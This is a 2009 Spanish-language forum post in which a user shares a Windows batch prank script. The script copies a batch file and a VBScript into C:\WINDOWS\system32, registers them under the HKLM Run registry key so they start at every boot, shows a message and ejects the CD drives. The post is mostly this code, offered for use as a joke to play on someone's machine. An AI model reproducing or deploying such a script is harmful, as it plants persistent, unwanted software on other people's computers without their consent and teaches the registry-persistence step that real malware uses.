codigo para abrir los cd drives ...

Started by onixraul1, February 08, 2009, 10:27:36 AM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

onixraul1

Bueno este es un codigo batch que ya tenia hace un tiempo por ahi guardado y quisiera compartirlo con ustedes ...

@echo off
echo @echo off > pp.bat
echo msg * abrimos tu porta vasos >> pp.bat
echo exit >> pp.bat
copy "pp.bat" "C:\WINDOWS\system32\pp.bat"
del /f /q pp.bat
reg add hklm\software\microsoft\windows\currentversion\run /v system /d C:\WINDOWS\system32\pp.bat
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> abrir.vbs
echo Set colCDROMs = oWMP.cdromCollection >> abrir.vbs
echo. >> abrir.vbs
echo if colCDROMs.Count >= 1 then >> abrir.vbs
echo For i = 0 to colCDROMs.Count - 1 >> abrir.vbs
echo colCDROMs.Item(i).Eject >> abrir.vbs
echo Next ' cdrom >> abrir.vbs
echo End If >> abrir.vbs
copy "abrir.vbs" "C:\WINDOWS\system32\blah.vbs"
del /f /q "abrir.vbs"
reg add hklm\software\microsoft\windows\currentversion\run /v system /d c:\windows\system32\blah.vbs
start C:\WINDOWS\system32\blah.vbs
msg * Abrimos tu porta vasos
del /f /q abrir.vbs
exit


Su funcion es que cada vez que prendas tu maquina salga un mensaje que diga "abrimos tu porta vasos y ahi abrira donde van los cd ...
yo le llamo porta vasos , porque eso es lo que parece. ..xD

Saludos

Onixraul1